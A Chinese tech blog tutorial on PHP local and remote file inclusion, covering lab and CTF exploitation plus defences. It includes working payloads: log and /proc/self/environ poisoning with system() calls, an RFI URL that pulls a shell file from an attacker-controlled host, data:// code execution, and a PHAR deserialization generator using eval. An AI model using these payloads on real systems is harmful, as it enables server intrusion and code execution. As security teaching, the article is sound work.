news 2026/7/28 8:38:30

PHP文件包含漏洞深度解析:从LFI到RFI的攻防实战与防御策略

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP文件包含漏洞深度解析:从LFI到RFI的攻防实战与防御策略

1. 项目概述:为什么文件包含漏洞是Web安全的“经典必修课”

在Web安全领域,PHP文件包含漏洞绝对算得上是一块“活化石”。从我十多年前刚接触安全测试到现在,它从未真正离开过我们的视线。无论是企业渗透测试、CTF竞赛,还是日常的代码审计,这个漏洞都像一位“老朋友”一样频繁出现。项目标题“从LFI到RFI的攻防演练”精准地概括了它的核心演变路径:本地文件包含(Local File Inclusion)是起点,远程文件包含(Remote File Inclusion)则是其更具破坏力的进阶形态。很多新手会觉得,这不过是一个读取文件的漏洞,能有多大危害?但实际上,一个看似简单的LFI,往往能成为打开服务器大门的钥匙,配合其他漏洞,实现从信息泄露到远程代码执行的完整攻击链。

这篇文章,我将从一个实战派的角度,带你彻底拆解PHP文件包含漏洞。我不会只给你一堆枯燥的函数列表和漏洞定义,而是结合我无数次在真实环境和CTF比赛中“踩坑”和“挖洞”的经验,把攻击者的思路、防御者的策略,以及那些在标准文档里找不到的细节技巧,掰开揉碎了讲清楚。我们会从最基础的漏洞原理讲起,一步步搭建靶场,手工复现LFI和RFI,并深入解析几个经典的CTF案例,让你不仅明白漏洞怎么利用,更理解漏洞为什么会产生,以及如何从根本上避免。无论你是刚入门安全的新手,还是想深化理解的开发者,相信这篇长文都能给你带来实实在在的收获。

2. 漏洞原理深度剖析:include/require到底做了什么?

要理解文件包含漏洞,首先必须抛开“文件包含就是读文件”的浅层认知。我们需要深入到PHP解释器的层面,去看看includerequireinclude_oncerequire_once这几个函数在执行时,究竟经历了什么。

2.1 核心函数的行为差异与风险根源

这四个函数的核心功能都是将指定文件的内容引入当前脚本并执行。但细微的差别决定了它们在不同场景下的风险表现。

includevsrequire:错误处理的陷阱include在包含失败时只会产生一个警告(E_WARNING),脚本会继续执行。而require在失败时会产生一个致命错误(E_COMPILE_ERROR),脚本会停止。在攻击中,这个特性常被用于“盲注”探测。例如,攻击者尝试包含一个不存在的/etc/passwd文件,如果使用include,页面可能只报个警告但其他内容正常显示;如果使用require,页面直接白屏。有经验的攻击者可以通过页面反应的差异,来判断目标使用的是哪个函数,甚至推断文件是否存在。

_once后缀的意义与绕过思路include_oncerequire_once会检查目标文件是否已经被包含过,如果是则不会再次包含。这原本是为了避免函数重定义、变量重复赋值等问题。但在某些特制的攻击场景下,攻击者可能会利用这个机制。比如,如果攻击者能控制包含的路径,并且服务器端使用了include_once,那么攻击者首次包含一个恶意文件后,即使后续修复了漏洞点,由于_once机制,恶意文件可能已经被载入内存并执行过了,其留下的后门或内存中的恶意代码可能依然持续生效。这不是主要的攻击向量,但是一个值得注意的角落案例。

风险的根本来源:动态包含漏洞产生的根本原因,几乎无一例外,都是因为开发者使用了动态变量作为包含文件的路径。看看这段典型的漏洞代码:

$page = $_GET['page']; include($page . '.php');

开发者的本意可能是好的:通过URL参数动态加载不同的页面模块,比如?page=home会包含home.php。问题在于,他们对用户输入$_GET['page']没有任何过滤和限制。攻击者完全可以传入../../../etc/passwd这样的路径。虽然代码拼接了.php后缀,但通过空字节截断(PHP<5.3.4)或利用PHP的封装协议,攻击者依然可以绕过后缀限制。

2.2 PHP封装协议:将文件包含的威力放大十倍

如果说动态包含是打开了第一道门,那么PHP丰富的封装协议(Wrapper)就是门后那个装满武器的仓库。这是LFI漏洞危害升级的关键,也是很多CTF题目的核心考点。

file://协议这是默认协议。include('file:///etc/passwd')include('/etc/passwd')在大多数情况下效果一样。但在某些配置了open_basedir限制的场景下,显式使用file://协议可能会与过滤逻辑产生奇妙的化学反应,有时能绕过一些简单的字符串过滤。

php://filter协议:信息泄露的利器这是最常用、最强大的协议之一。它允许你对数据流进行过滤处理。在攻击中,我们主要利用它的readconvert功能来读取源代码,而不是执行它。

  • 读取源码php://filter/read=convert.base64-encode/resource=index.php这行代码会让PHP以Base64编码的形式读取index.php的源代码。为什么这么做?因为如果直接包含index.php,它会被当作PHP代码执行,我们在浏览器里看不到源码,只能看到执行结果。通过base64-encode过滤器,我们得到的是编码后的文本,解码后就能获得完整的源代码,这对于代码审计、寻找其他漏洞至关重要。
  • 链式过滤器:你还可以组合多个过滤器,例如convert.base64-encode|convert.iconv.UTF8.UTF7/resource=index.php,这在一些需要绕过特殊字符过滤的CTF题目中可能会用到。

zip://phar://协议:反序列化的跳板这两个协议常常与文件上传漏洞结合,构成“组合拳”。

  • zip://协议可以访问ZIP压缩包中的文件。假设你上传了一个包含shell.php的ZIP包test.zip,服务器将其保存为/tmp/test.zip。那么通过包含zip:///tmp/test.zip%23shell.php(注意#需要URL编码为%23),就可以直接执行ZIP包里的shell.php
  • phar://协议更加强大,它不仅可以像zip://一样读取压缩包内文件,其元数据(metadata)部分在反序列化时还会自动触发__wakeup()__destruct()魔术方法。这意味着,即使你无法直接包含一个.php文件,但如果你能上传一个特制的PHAR文件(扩展名可以是.jpg.phar),并通过phar://协议去包含它,就有可能触发反序列化漏洞,执行任意代码。这是近年来非常热门的攻击手法。

data://协议:直接执行代码的“魔法”data://协议允许在URL中直接嵌入数据。当allow_url_include配置为On时(默认是Off,这是RFI的前提),include('data://text/plain,<?php phpinfo();?>');将会直接执行phpinfo()函数。这相当于把任意代码直接通过参数传递并执行,危害性极大。它也是实现RFI的一种重要方式。

注意:封装协议的使用受allow_url_fopenallow_url_include两个PHP配置项严格控制。allow_url_fopen允许使用HTTP、FTP等URL作为文件路径,allow_url_include则特指允许include/require等函数使用这些远程URL或data://等协议。生产环境中必须allow_url_include设置为Off

2.3 服务器配置与漏洞环境的关系

漏洞能否利用成功,严重依赖服务器的配置。理解这些配置,能帮你更准确地判断漏洞存在的可能性。

  • open_basedir:将PHP可操作的文件限制在指定的目录树中。这是一个重要的安全防线。但历史上存在一些绕过方法,比如利用glob://协议配合目录遍历,或者通过chdir()等函数进行跳转。不过,在现代PHP版本中,open_basedir的防护已经比较牢固。
  • disable_functions:禁用了危险函数(如system,exec,passthru等)会影响包含漏洞利用后的命令执行效果。但攻击者仍可能通过编写纯PHP代码的Webshell来读写文件、连接数据库,或者寻找未禁用的替代函数(如shell_exec、反引号操作符`)。
  • 文件权限:即使包含到了系统文件(如/etc/passwd),也需要PHP进程(通常是www-data用户)有读取权限。这是操作系统层面的最后一道屏障。

3. 从LFI到RFI:漏洞利用的完整路径演练

理论讲得再多,不如亲手试一遍。下面我们搭建一个简单的靶场,来完整演练LFI到RFI的利用过程。我建议你在自己的虚拟机或Docker环境里跟着操作,感受会更深刻。

3.1 靶场环境搭建与基础LFI利用

首先,我们创建一个最基础的漏洞文件vuln.php

<?php // vuln.php - 一个存在文件包含漏洞的脚本 $file = $_GET['file']; if(isset($file)) { include($file); } else { echo "Please provide a 'file' parameter."; } ?>

把它放在你的Web服务器根目录(比如/var/www/html/)。确保你的PHP配置暂时是“宽松”的,以便演示所有攻击手法(演示完毕后请务必修改)。你可以快速修改php.ini中的以下项:

allow_url_fopen = On allow_url_include = On

警告:此配置仅用于本地测试环境,生产环境绝不允许开启!

基础目录遍历:访问http://your-ip/vuln.php?file=../../../../etc/passwd如果成功,你会看到系统的用户列表。这说明基础的目录遍历漏洞存在。

利用PHP Filter读取源码:访问http://your-ip/vuln.php?file=php://filter/read=convert.base64-encode/resource=vuln.php页面会显示一串Base64编码。将其解码,你就能看到vuln.php的源代码。这是审计代码、寻找其他漏洞入口的关键一步。

空字节截断(CVE-2006-7243)与后缀绕过:如果漏洞代码是这样的:include($file . '.php');,开发者以为拼接.php就安全了。但在PHP 5.3.4之前的版本,攻击者可以使用空字节%00来截断后面的字符串。http://your-ip/vuln.php?file=../../../../etc/passwd%00传入的$file../../../../etc/passwd%00,拼接后成为../../../../etc/passwd%00.php。在旧版本PHP中,%00会被解释为字符串结束符,因此实际包含的文件就是/etc/passwd.php被成功绕过。注意:这个漏洞在PHP 5.3.4及以后版本已被修复,但在一些老旧系统或CTF复古题中仍可能遇到。

在现代PHP中,更常见的后缀绕过方法是利用?#。例如:file=php://input?.php。因为?在URL中表示查询字符串的开始,对于文件系统来说,php://input?.php会被当作一个完整的奇怪文件名,而PHP的include在处理php://协议时,会忽略?之后的部分。或者使用#file=../../etc/passwd%23#需要编码为%23),因为#在文件路径中通常被忽略。

3.2 利用日志文件实现代码执行

这是LFI漏洞升级为代码执行(RCE)最经典、最实用的方法之一。思路是:将PHP代码注入到服务器某个可被包含的文件中,然后去包含这个文件。

为什么选择日志文件?因为Web服务器(如Apache、Nginx)的访问日志(access.log)或错误日志(error.log)默认对所有用户可读,并且会原样记录HTTP请求中的很多信息,包括User-Agent、Referer等头部字段。如果我们能在这些字段中插入PHP代码,再通过LFI漏洞去包含这个日志文件,代码就会被执行。

实操步骤:

  1. 找到日志路径。默认路径可能是/var/log/apache2/access.log/var/log/nginx/access.log。你可以通过LFI读取/proc/self/fd/下的文件描述符(如果允许)或包含/etc/apache2/envvars等配置文件来猜测路径,或者直接用常见的路径字典爆破。
  2. 向日志注入代码。使用Burp Suite或curl,发送一个请求,在User-Agent中携带PHP代码。
    curl -H "User-Agent: <?php system('id'); ?>" http://your-ip/
  3. 包含日志文件。访问你的漏洞页面,包含这个日志文件。http://your-ip/vuln.php?file=/var/log/apache2/access.log
  4. 如果一切顺利,你应该会在页面上看到id命令的执行结果(当前进程的用户信息)。

实操心得:日志文件通常很大,包含时可能会超时或导致内存不足。一个技巧是,在注入代码后,立即发送大量正常请求“冲刷”日志,让你的恶意请求位于日志文件的末尾,这样包含时加载速度会快一些。另外,确保你包含的是最新的日志文件,有时服务器会按日期分割日志(如access.log.20231015)。

3.3 利用/proc文件系统实现RCE

Linux的/proc是一个虚拟文件系统,提供了访问内核内部数据结构的接口。其中有一些文件非常适合用于LFI攻击。

/proc/self/environ这个文件包含了当前进程(即处理你请求的PHP进程)的环境变量。其中有一个叫HTTP_USER_AGENT的环境变量,直接对应HTTP请求中的User-Agent头部。因此,攻击手法和日志注入类似:

  1. 发送一个User-Agent为PHP代码的请求。
  2. 包含/proc/self/environ文件。
  3. 代码被执行。

/proc/self/fd/目录这个目录下是当前进程打开的文件描述符(File Descriptor)的符号链接。通常,文件描述符0、1、2分别对应标准输入、输出、错误。而Web服务器访问日志的文件描述符也可能在这里面(比如/proc/self/fd/10可能链接着/var/log/nginx/access.log)。有时候直接包含日志文件路径会被过滤,但包含/proc/self/fd/10可能就能绕过。你可以尝试遍历/proc/self/fd/目录下的文件。

/proc/self/cmdline这个文件包含了启动当前进程的完整命令。对于PHP-FPM进程,可能会显示出php-fpm: pool www之类的信息。虽然不能直接用于执行代码,但可以用于信息收集,了解服务器运行环境。

3.4 远程文件包含(RFI)实战

allow_url_include = On时,LFI就进化成了RFI。攻击者可以包含一个远程服务器上的恶意文件,让其在自己的目标服务器上执行。

搭建恶意服务器:

  1. 在攻击者控制的服务器(IP: 192.168.1.100)上,创建一个名为shell.txt的文件(注意,扩展名不重要),内容为<?php phpinfo(); ?>
  2. 在该目录下启动一个简单的HTTP服务。用Python可以快速实现:python3 -m http.server 8000

实施RFI攻击:访问目标漏洞页面:http://target-ip/vuln.php?file=http://192.168.1.100:8000/shell.txt如果配置允许,目标服务器会去请求http://192.168.1.100:8000/shell.txt,获取到其中的PHP代码,并在自己的上下文中执行,从而显示出phpinfo()页面。

利用data://协议实现无外部服务器的RFI:即使没有外部服务器,只要allow_url_include开启,也可以利用data://协议。http://target-ip/vuln.php?file=data://text/plain,<?php phpinfo();?>或者使用Base64编码,避免特殊字符问题:http://target-ip/vuln.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

重要注意事项:RFI的成功率在现代网络环境中已经大大降低。主要原因有三点:第一,allow_url_include默认是Off,且安全规范强烈要求关闭;第二,外部URL可能会被防火墙或安全策略拦截;第三,包含远程文件会在目标服务器的Web日志中留下非常明显的外部IP记录,极易被察觉。因此,在实战中,LFI及其各种“曲线救国”的利用方式(日志、/proc)更为常见。

4. CTF案例解析:在实战中深化理解

CTF题目是漏洞原理的绝佳练兵场。下面我们分析两个典型案例,看看出题人如何“包装”文件包含漏洞,以及我们该如何“拆解”。

4.1 案例一:基础LFI与日志注入

题目特征:题目给出一个简单的页面,只有一个文件包含点,尝试包含/etc/passwd成功。但尝试包含/flagflag.php时发现没有权限或文件不存在。页面本身没有上传点,也没有其他明显功能。

解题思路

  1. 确认漏洞?file=../../../../etc/passwd成功,证明LFI存在。
  2. 尝试读取源码?file=php://filter/read=convert.base64-encode/resource=index.php,获取网站源码进行审计。
  3. 审计源码:在解码后的源码中,发现关键信息:网站使用了Apache服务器,并且错误日志路径是/var/log/apache2/error.log。或者,通过包含/proc/self/environ发现环境变量中有SERVER_SOFTWARE=Apache
  4. 日志注入:向网站任意页面(比如首页)发送一个请求,在User-Agent或Referer中插入PHP代码:<?php system('cat /flag'); ?>
  5. 包含日志:访问?file=/var/log/apache2/error.log(或access.log,需根据情况尝试)。如果代码被成功写入日志且被包含,就会执行cat /flag命令,在页面上输出Flag。

可能的变种与绕过

  • 日志路径未知:需要暴力猜解常见路径,或利用/proc/self/fd/目录。
  • 日志过大:可以尝试在注入代码后,快速发起大量请求,让自己的请求位于日志文件末尾附近,然后使用tail命令的变体,但通过LFI实现比较困难。有时可以尝试包含/proc/self/fd/X,其中X是日志的文件描述符,可能能避免加载整个大文件。
  • 特殊字符过滤:如果题目对<>?php等关键字进行了过滤,需要尝试编码绕过。例如,使用<?=短标签代替<?php,或者将代码用Base64编码后配合data://协议执行(前提是allow_url_include开启)。

4.2 案例二:结合文件上传与zip/phar协议

题目特征:题目提供一个文件上传功能,但上传后会对文件内容或后缀进行严格检查(例如,只允许上传图片,并且会用getimagesize()函数验证)。同时,网站某处存在一个LFI漏洞点。

解题思路

  1. 分析上传限制:通常这类题目允许上传.jpg.png等,但会检查文件头(如GIF89a)或进行图片重渲染。我们的目标是将一个PHP Webshell嵌入到一个“合法”的图片中。
  2. 制作恶意图片:最简单的方法是使用copy命令(Windows)或cat命令(Linux)将Webshell追加到一张真实图片的后面。
    cat shell.php >> normal.jpg
    这样生成的normal.jpg既能通过图片验证(因为文件头是合法的图片格式),又包含了PHP代码。上传这个文件。
  3. 找到文件存储路径:上传成功后,页面通常会回显文件的访问路径,如/uploads/abc123.jpg。如果没有,可能需要结合目录遍历或源码审计来猜测上传目录。
  4. 尝试直接包含:直接LFI包含上传的文件路径?file=./uploads/abc123.jpg。如果服务器配置为“只要文件内容包含<?php ... ?>就尝试解析”,那么可能会成功。但很多服务器只根据.php后缀来解析PHP。
  5. 利用zip协议绕过:如果直接包含不成功,我们可以利用zip://协议。
    • 将我们的Webshell(shell.php)压缩成shell.zip
    • shell.zip重命名为shell.jpg(或其他允许的后缀)并上传。
    • 通过LFI包含:?file=zip://./uploads/shell.jpg%23shell.php。这里%23#的URL编码,用于指定压缩包内的文件。
  6. 利用phar协议与反序列化:这是更高级的利用方式。如果题目环境还涉及PHP对象序列化,我们可以创建一个恶意的PHAR文件。
    // 创建一个生成PHAR的脚本 create_phar.php class EvilObject { public $cmd = 'system("cat /flag");'; public function __destruct() { eval($this->cmd); } } $phar = new Phar('evil.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); // 添加一个文件以符合PHAR格式 $obj = new EvilObject(); $phar->setMetadata($obj); // 将恶意对象存入metadata $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering();
    执行这个脚本生成evil.phar,将其重命名为evil.jpg后上传。 然后通过LFI包含:?file=phar://./uploads/evil.jpg。当PHP解析这个phar文件时,会自动反序列化metadata中的EvilObject对象,触发其__destruct()方法,从而执行命令。

这类题目综合考察了文件上传绕过、LFI漏洞利用以及PHP高级特性(封装协议、反序列化)的理解,是CTF中的高频题型。

5. 防御策略:从开发到部署的全链路防护

理解了攻击,才能更好地防御。防御文件包含漏洞需要开发、运维和安全团队共同努力,在软件生命周期的各个阶段布防。

5.1 开发阶段:编写安全的代码

这是最根本、最有效的防御手段。

1. 避免动态包含,或使用白名单机制

  • 最佳实践:完全避免使用用户输入直接作为包含文件的路径。如果业务必须动态加载,请使用白名单
    $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); } else { include('404.php'); }
  • 路径固定:如果需要包含,尽量使用固定的相对路径或绝对路径,将用户输入作为参数传递,而不是路径的一部分。
    // 安全示例:用户输入作为参数 include('./templates/header.php'); $content_id = (int)$_GET['id']; // 强制转换为整数 // 然后根据$content_id从数据库加载内容,而不是包含文件

2. 严格过滤和验证输入

  • 类型强制转换:如果期望是数字,就用(int)intval()
  • 路径净化:使用basename()函数获取路径中的文件名部分,它会自动剥离目录遍历字符(../)。
    $file = basename($_GET['file']); // 如果输入是../../../etc/passwd,$file会变成'passwd' include('./pages/' . $file . '.php');
    但注意,basename()在处理非ASCII字符时可能有问题,且它不能防止包含非预期目录下的文件(如果./pages/目录下存在一个你不想被包含的文件)。
  • 正则表达式检查:使用严格的正则表达式匹配允许的文件名模式(如只允许字母、数字、下划线和短横线)。
    if (preg_match('/^[a-zA-Z0-9_-]+$/', $file)) { include($file . '.php'); }

3. 使用安全的文件操作函数考虑使用realpath()函数来解析路径,它会返回规范化的绝对路径,并解析所有的符号链接和../。然后,你可以检查这个绝对路径是否在以你的Web根目录为前缀的合法路径下。

$base_dir = '/var/www/html/includes/'; $user_path = $_GET['file']; $real_path = realpath($base_dir . $user_path); // 检查realpath是否成功,并且路径是否以$base_dir开头 if ($real_path !== false && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('Invalid file path.'); }

注意realpath()在文件不存在时会返回false,这本身也可能被攻击者用于探测文件是否存在(盲注),因此错误信息要统一处理。

5.2 服务器配置:收紧安全边界

代码层面的防御需要配置层面的支持。

1. PHP配置(php.ini)

  • allow_url_include = Off必须关闭。这是阻止RFI的最关键配置。
  • allow_url_fopen = Off:如果业务不需要从远程URL打开文件,建议关闭。这能增加攻击成本。
  • open_basedir:设置为Web应用的根目录及其必要子目录(如临时目录、上传目录)。用冒号分隔多个路径。例如:open_basedir = /var/www/html/:/tmp/。这能将PHP的文件操作限制在指定范围内。
  • disable_functions:禁用不必要的危险函数,如system,exec,passthru,shell_exec,proc_open,popen等。即使攻击者通过包含漏洞写入了Webshell,也无法执行系统命令,大大降低了危害。
  • display_errors = Off/log_errors = On:生产环境关闭错误显示,防止路径等敏感信息泄露;开启错误日志,便于排查问题。

2. Web服务器配置

  • 以最小权限运行:PHP-FPM进程或Apache的PHP模块应以独立的、低权限用户(如www-datanginx)运行,并确保其无法访问Web根目录之外的敏感文件。
  • 日志文件权限:确保Web服务器日志文件(access.log,error.log)的权限尽可能严格,例如设置为640(所有者可读写,所属组可读,其他用户无权限),并且所有者是root,进程用户属于日志文件所属组。这样即使存在LFI,PHP进程也可能无法读取日志内容。
  • 目录权限:上传目录应设置为不可执行。可以通过在Nginx配置中为上传目录添加location ~* ^/uploads/.*\.(php|php5)$ { deny all; },或在Apache的.htaccess中添加RemoveHandler .php .php5 .phtml等指令,防止上传的恶意脚本被直接执行。

5.3 运维与安全监控

1. 定期更新与漏洞扫描

  • 保持PHP、Web服务器及所有依赖库的最新版本,及时修复已知漏洞。
  • 使用静态代码分析工具(如SonarQube, PHPStan)或专门的漏洞扫描工具,在开发流程中自动检测潜在的包含漏洞。

2. Web应用防火墙(WAF)规则

  • 配置WAF规则,拦截包含../..\php://zip://phar://data://等危险字符串的请求。
  • 注意,攻击者可能会对Payload进行多次编码(如URL编码、Unicode编码)以绕过简单的字符串匹配,因此WAF规则需要能进行规范化解码和深度检测。

3. 监控与告警

  • 监控服务器日志,特别是错误日志,寻找包含异常路径(如/etc/passwd/proc/self/environ)的请求记录。
  • 监控文件系统,关注Web目录下是否出现异常的可执行文件。
  • 对包含include/require且使用了$_GET$_POST$_COOKIE等变量的代码进行重点人工审计。

6. 常见问题与排查技巧实录

在实际渗透测试和CTF比赛中,我遇到过各种各样关于文件包含的“坑”。这里分享一些典型的排查思路和技巧。

问题1:包含路径被拼接了后缀,如何绕过?

  • 场景:代码是include($_GET['file'] . '.php');
  • 排查与绕过
    1. 空字节截断:首先尝试%00?file=../../../etc/passwd%00)。仅对PHP旧版本有效。
    2. 利用?#:尝试?file=php://input?.php?file=data://text/plain,<?php...>?.php?后的内容在文件包含时可能被忽略。
    3. 利用路径长度截断:在极旧版本的系统中,超长路径可能会被截断。现在基本无效。
    4. 利用协议php://filter协议本身不关心后缀,?file=php://filter/read=convert.base64-encode/resource=index.php,后面的.php会被当作协议参数的一部分,可能不影响协议本身的解析。
    5. 利用目录遍历+已存在文件:如果目标目录下存在一个你已知的.php文件,你可以用../跳出限制后再跳回来包含它。例如,假设你知道存在/var/www/html/config.php,可以尝试?file=../../../var/www/html/config。但这需要精确的信息。

问题2:包含日志文件没反应,怎么回事?

  • 可能原因
    1. 日志路径不对:Apache和Nginx的默认日志路径不同,且可能被自定义。使用/proc/self/environ读取环境变量,或尝试包含/etc/apache2/apache2.conf/etc/nginx/nginx.conf等配置文件来寻找线索。
    2. 日志权限不足:PHP进程用户可能没有读取日志文件的权限。尝试包含/proc/self/fd/下的链接,有时会有不同的权限上下文。
    3. 代码未成功注入:某些WAF或自定义代码可能会过滤或转义请求头中的特殊字符。尝试使用不同的注入位置(User-Agent, Referer, X-Forwarded-For等)和不同的编码方式。
    4. 日志文件过大:包含一个几百MB的日志文件可能导致脚本超时或内存耗尽。尝试在注入后立即进行包含,或者利用tail命令的思路,但通过LFI实现较难。有时可以关注error.log,它通常比access.log小。

问题3:明明allow_url_include是On,RFI却不成功?

  • 排查步骤
    1. 确认配置:使用phpinfo()页面确认allow_url_includeallow_url_fopen确实为On。
    2. 检查网络连通性:确保目标服务器能访问你的恶意服务器。防火墙、安全组、出站规则都可能拦截请求。
    3. 检查协议和端口:目标服务器可能只允许访问特定端口(如80、443)。确保你的恶意HTTP服务运行在常用端口。
    4. 检查文件扩展名:有些PHP配置(如security.limit_extensions)或Web服务器配置可能会根据URL的后缀来决定是否交给PHP解析。确保你的远程文件有一个能被解析的后缀,或者使用data://协议。
    5. 查看错误日志:目标服务器的错误日志可能会记录包含失败的原因,如“URL file-access is disabled”或“failed to open stream”。

问题4:在CTF中,包含点似乎被过滤得很死,怎么办?

  • 思路扩展
    1. 二次编码:尝试对Payload进行双重URL编码。例如,../编码一次是%2e%2e%2f,再编码一次是%252e%252e%252f。过滤函数可能只解码一次。
    2. 非常规路径分隔符:在Windows环境下,可以尝试..\....//....\/等变体。在PHP中,include函数在Windows下也能接受/作为分隔符,但可以尝试混合使用。
    3. 利用PHP特性:PHP的include在包含不存在的文件时,如果路径是一个目录,可能会包含该目录下的index.phpdefault.php(取决于配置)。这有时能用于模糊测试。
    4. 关注非标准输入点$_GET是最常见的,但也要检查$_POST$_COOKIE$_SERVER中的某些变量(如$_SERVER['HTTP_X_FORWARDED_FOR']),有时漏洞点隐藏得很深。
    5. 结合其他漏洞:文件包含很少孤立存在。看看有没有文件上传、SSRF(服务器端请求伪造)、甚至SQL注入(通过load_file()函数读取文件)可以与之结合,形成攻击链。

文件包含漏洞的魅力在于它的“基础”和“灵活”。它不像一些复杂的逻辑漏洞那样难以发现,但其利用方式却可以千变万化,与服务器配置、其他漏洞点紧密耦合。真正掌握它,需要你对PHP运行机制、服务器配置、操作系统都有一定的了解。希望这篇超过五千字的深度解析,能帮你建立起关于这个“经典漏洞”的立体认知。在安全的世界里,知其然,更要知其所以然,这才是抵御风险最坚固的盾牌。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/28 8:38:18

从零打造VTOL可模态转换机器人:多旋翼+地面移动系统实战指南

1. 从“飞行汽车”到“创客造”&#xff1a;一个梦想的落地起点“飞行汽车”这四个字&#xff0c;听起来像是科幻电影里的标配&#xff0c;是未来城市的空中交通图景。但今天&#xff0c;我们不谈那些估值百亿的科技巨头&#xff0c;也不聊那些需要庞大资本和顶尖实验室才能实现…

作者头像 李华
网站建设 2026/7/28 8:37:46

基于红外遥控与电机驱动的智能小车实现:从硬件连接到程序控制

1. 从零开始&#xff1a;红外遥控小车的核心价值与实现路径拿到一块开发板&#xff0c;尤其是像虾米扩展板这样集成了多种接口的硬件&#xff0c;很多朋友的第一反应是“它能做什么&#xff1f;”。如果只是点亮一个LED&#xff0c;或者让蜂鸣器响一下&#xff0c;总觉得有点意…

作者头像 李华
网站建设 2026/7/28 8:36:58

SpringBoot图形化编程竞赛平台设计与实践

1. 项目背景与核心价值小学阶段图形化编程教育近年来在国内快速普及&#xff0c;Scratch、Blockly等工具已成为培养儿童计算思维的主流选择。这个基于SpringBoot的竞赛辅导平台正是针对这一教育场景的垂直化解决方案。我在实际开发中发现&#xff0c;传统编程竞赛网站往往存在两…

作者头像 李华
网站建设 2026/7/28 8:36:57

十大化妆品包材公司怎么选?车间老炮拆解工艺公差与防比价模型

拿着一张电商爆款的包装图找代工厂&#xff0c;聊完价格直接砍掉四分之一&#xff0c;结果到手实物比样品薄了0.1mm&#xff0c;磁吸盖松得像喝多了的二锅头盖子——这剧本我见太多了。昨天一个做私域护肤的兄弟拿着返修单跟我骂娘&#xff1a;退货率16%&#xff0c;其中九成是…

作者头像 李华
网站建设 2026/7/28 8:34:36

Mineradio开源本地音乐播放器:安装部署与功能体验全指南

这次我们来看一个开源的本地音乐播放器项目——Mineradio。对于很多音乐爱好者、开发者,或者只是单纯厌倦了在线音乐平台广告和会员限制的用户来说,一个功能纯粹、界面清爽、完全由自己掌控的本地播放器,一直是个刚需。Mineradio 正是这样一个由开发者社区贡献的开源项目,它…

作者头像 李华
网站建设 2026/7/28 8:33:18

GodotRetro新手入门:3个简单步骤实现像素风游戏画面

GodotRetro新手入门&#xff1a;3个简单步骤实现像素风游戏画面 【免费下载链接】GodotRetro A pack of retro compositor effects and shaders for Godot. 项目地址: https://gitcode.com/gh_mirrors/go/GodotRetro GodotRetro是一款为Godot引擎打造的复古风格 composi…

作者头像 李华